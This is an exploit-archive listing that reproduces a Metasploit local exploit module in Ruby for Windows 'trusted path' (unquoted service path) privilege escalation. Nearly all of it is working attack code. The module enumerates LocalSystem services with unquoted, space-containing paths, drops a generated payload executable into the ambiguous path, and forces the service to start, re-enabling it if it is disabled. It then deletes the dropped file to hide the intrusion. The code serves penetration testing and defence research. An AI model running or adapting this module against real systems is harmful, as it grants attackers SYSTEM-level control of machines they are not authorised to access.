Author

metasploit

Risk

[

Security Risk High

]

0day-ID

0day-ID-19189

Category

local exploits

Date add

15-08-2012

Platform

windows

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
require 'msf/core/post/common'
require 'msf/core/post/windows/services'
 
class Metasploit3 < Msf::Exploit::Local
    Rank = ExcellentRanking
 
    include Msf::Exploit::EXE
    include Msf::Post::Common
    include Msf::Post::File
    include Post::Windows::WindowsServices
 
    def initialize(info={})
        super( update_info( info,
            'Name'           => 'Windows Service Trusted Path Privilege Escalation',
            'Description'    => %q{
                This module exploits a logic flaw due to how the lpApplicationName parameter
                is handled.  When the lpApplicationName contains a space, the file name is
                ambiguous.  Take this file path as example: C:\program files\hello.exe;
                The Windows API will try to interpret this as two possible paths:
                C:\program.exe, and C:\program files\hello.exe, and then execute all of them.
                To some software developers, this is an unexpected behavior, which becomes a
                security problem if an attacker is able to place a malicious executable in one
                of these unexpected paths, sometimes escalate privileges if run as SYSTEM.
                Some softwares such as OpenVPN 2.1.1, or OpenSSH Server 5, etc... all have the
                same problem.
            },
            'References'     =>
                [
                    ['URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx']
                ],
            'DisclosureDate' => "Oct 25 2001",
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'sinn3r'
                ],
            'Platform'       => [ 'win'],
            'Targets'        => [ ['Windows', {}] ],
            'SessionTypes'   => [ "shell", "meterpreter" ],
            'DefaultTarget'  => 0,
            # Migrate away, in case the service dies (can kill access)
            'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }
        ))
    end
 
 
    def check
        if enum_vuln_services.empty?
            return Exploit::CheckCode::Safe
        else
            return Exploit::CheckCode::Vulnerable
        end
    end
 
 
    def enum_vuln_services(quick=false)
        vuln_services = []
 
        service_list.each do |name|
            info = service_info(name)
 
            # Sometimes there's a null byte at the end of the string,
            # and that can break the regex -- annoying.
            cmd = info['Command'].strip
 
            # Check path:
            # - Filter out paths that begin with a quote
            # - Filter out paths that don't have a space
            next if cmd !~ /^[a-z]\:.+\.exe$/i
            next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true)
 
            # Filter out services that aren't launched as SYSTEM
            next if info['Credentials'] !~ /LocalSystem/
 
            vprint_status("Found vulnerable service: #{name} - #{cmd} (#{info['Credentials']})")
            vuln_services << [name, cmd]
 
            # This process can be pretty damn slow.
            # Allow the user to just find one, and get the hell out.
            break if not vuln_services.empty? and quick
        end
 
        return vuln_services
    end
 
 
    def exploit
        #
        # Exploit the first service found
        #
        print_status("Finding a vulnerable service...")
        svrs = enum_vuln_services(true)
        if svrs.empty?
            print_error("No service found with trusted path issues")
            return
        end
 
        svr_name = svrs.first[0]
        fpath    = svrs.first[1]
        exe_path = "#{fpath.split(' ')[0]}.exe"
        print_status("Placing #{exe_path} as #{svr_name}")
 
 
        #
        # Drop the malicious executable into the path
        #
        exe = generate_payload_exe
        print_status("Writing #{exe.length.to_s} bytes to #{exe_path}...")
        begin
            write_file(exe_path, exe)
        rescue Rex::Post::Meterpreter::RequestError => e
            # Can't write the file, can't go on
            print_error(e.message)
            return
        end
 
 
        #
        # Run the service, let the Windows API do the rest
        #
        print_status("Launching service #{svr_name}...")
        tried = false
        begin
            status = service_start(svr_name)
            raise RuntimeError, status if status != 0
        rescue RuntimeError => s
            if tried
                print_error("Unable to start #{svr_name}")
                return
            else
                tried = true   
            end
 
            case s.message
            when 1
                # Service already started, restart again
                service_stop(svr_name)
                retry
            when 2
                # Service disabled, enable it
                service_change_startup(svr_name, 'manual')
                retry
            end
        end
 
 
        #
        # "Nothing ever happened, we swears it on the Precious!"
        #
        print_status("Deleting #{exe_path}")
        begin
            cmd_exec("cmd /c del \"#{exe_path}\"")
        rescue ::Exception => e
            print_error("Unable to remove #{exe_path}: #{e.message}")
        end
    end
 
end



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